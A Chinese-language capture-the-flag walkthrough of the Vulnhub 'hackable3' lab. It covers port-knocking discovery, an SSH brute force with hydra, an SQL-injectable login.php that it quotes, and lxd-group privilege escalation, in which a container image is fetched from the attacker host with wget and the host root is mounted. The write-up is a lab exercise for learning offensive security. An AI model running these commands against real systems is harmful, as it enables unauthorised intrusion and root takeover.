Vulnhub靶机:hackable3

一、介绍

运行环境:Virtualbox

攻击机:kali(10.0.2.15)

靶机:hackable3(10.0.2.53)

目标:获取靶机root权限和flag

靶机下载地址:https://www.vulnhub.com/entry/hackable-iii,720/

二、信息收集

使用nmap主机发现靶机ip:10.0.2.53

Vulnhub靶机:hackable3_第1张图片

使用nmap端口扫描发现,靶机开放端口:22、80

Vulnhub靶机:hackable3_第2张图片

打开网站未发现可利用的功能点,查看源码发现隐藏信息

“Please, jubiscleudo, don’t forget to activate the port knocking when exiting your section, and tell the boss not to forget to approve the .jpg file - [email protected]

翻译:“拜托了,jubiscleudo,别忘了在离开你的区域时激活端口敲门,并告诉老板不要忘记批准.jpg文件——[email protected]

Vulnhub靶机:hackable3_第3张图片

根据nmap扫描结果22端口关闭了,应该要使用敲门服务打开22端口

端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。

使用dirsearch工具对该网站进行目录爆破,对爆破出来的目录和文件都访问一遍

dirsearch -u http://10.0.2.53/

Vulnhub靶机:hackable3_第4张图片

发现/backup/目录存在一个字典文件

Vulnhub靶机:hackable3_第5张图片
Vulnhub靶机:hackable3_第6张图片

发现/config/目录存在一个1.txt文件,里面存在一段被base64加密的数据:MTAwMDA=,解密得到:10000

Vulnhub靶机:hackable3_第7张图片
Vulnhub靶机:hackable3_第8张图片

发现/css/目录存在一个2.txt文件,里面存在一段被Brainfuck加密的数据:++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>------------------....,解密得到:4444

Vulnhub靶机:hackable3_第9张图片
Vulnhub靶机:hackable3_第10张图片

访问/login.php,发现页面是空白的,查看源码,发现暴露该文件的所有源代码

Vulnhub靶机:hackable3_第11张图片

?php
include('config.php');

$usuario = $_POST['user'];
$senha = $_POST['pass'];

$query = " SELECT * FROM usuarios WHERE user = '{$usuario}' and pass = '{$senha}'";  

$result = mysqli_query($conexao, $query);

$row = mysqli_num_rows($result);


#validação conta
if($row == 1) {
	$_SESSION['usuario'] = $usuario;
	header('Location: 3.jpg');
	exit();
} else {
	$_SESSION['nao_autenticado'] = true;
	header('Location: login_page/login.html');
	exit();
}

?

该文件是获取用户名密码登录,登录后返回3.jpg文件,我们直接访问3.jpg,将该图片下载下来,查看是否存在隐写信息

Vulnhub靶机:hackable3_第12张图片

存在隐写信息:porta:65535

在这里插入图片描述

根据获得端口信息的顺序,进行端口敲门,发现22端口已开放

knock 10.0.2.53 10000 4444 65535                                

Vulnhub靶机:hackable3_第13张图片

三、漏洞利用

使用得到的用户名:jubiscleudo和密码字典爆破ssh,爆破得到密码:onlymy

hydra -l jubiscleudo -P passwd.txt 10.0.2.53 ssh -t 64

Vulnhub靶机:hackable3_第14张图片

登录ssh

Vulnhub靶机:hackable3_第15张图片

四、提权

在靶机上未发现特权命令和可利用的具有root权限的可执行文件

翻一翻靶机各个文件夹,看看有没有可利用的文件或信息

在网站所属目录,发现.backup_config.php

Vulnhub靶机:hackable3_第16张图片

查看该文件发现一组用户名和密码:hackable_3:TrOLLED_3

Vulnhub靶机:hackable3_第17张图片

尝试切换为hackable_3用户,切换成功

在这里插入图片描述

id命令查看该用户所属组,发现lxd组,并且靶机lxd,lxc两个二进制文件还存在

在这里插入图片描述

可以尝试lxd提权

攻击机操作:

通过git将构建好的alpine镜像克隆至本地;

git clone https://github.com/saghul/lxd-alpine-builder.git

执行“build -alpine”命令完成最新版本的Alpine镜像构建,此操作必须由root用户完成;我这边就使用之前构建好的镜像进行提权。

cd lxd-alpine-builder   
sudo ./build-alpine

Vulnhub靶机:hackable3_第18张图片

开启apache服务,将tar文件发送至目标设备;

service apache2 start               

靶机操作:

下载攻击机上的alpine-v3.19-x86_64-20240203_0945.tar.gz

wget http://10.0.2.15/alpine-v3.19-x86_64-20240203_0945.tar.gz

Vulnhub靶机:hackable3_第19张图片

导入镜像并初始化镜像

lxc image import ./alpine-v3.19-x86_64-20240203_0945.tar.gz --alias test
lxd init  #一路回车
lxc init test test -c security.privileged=true 初始化镜像

Vulnhub靶机:hackable3_第20张图片

挂载磁盘

lxc config device add test test disk source=/ path=/mnt/root recursive=true

在这里插入图片描述

启动镜像并进入镜像访问任意文件

lxc start test
lxc exec test /bin/sh
id

在这里插入图片描述

进入容器之后,定位到/mnt/root即可查看目标主机设备的所有资源。运行了Bash脚本之后,我们将得到一个特殊的Shell,也就是容器的Shell。这个容器中包含了目标主机的全部资源。

Vulnhub靶机:hackable3_第21张图片

获取flag

Vulnhub靶机:hackable3_第22张图片
Vulnhub靶机:hackable3_第23张图片

你可能感兴趣的:(靶场,web安全)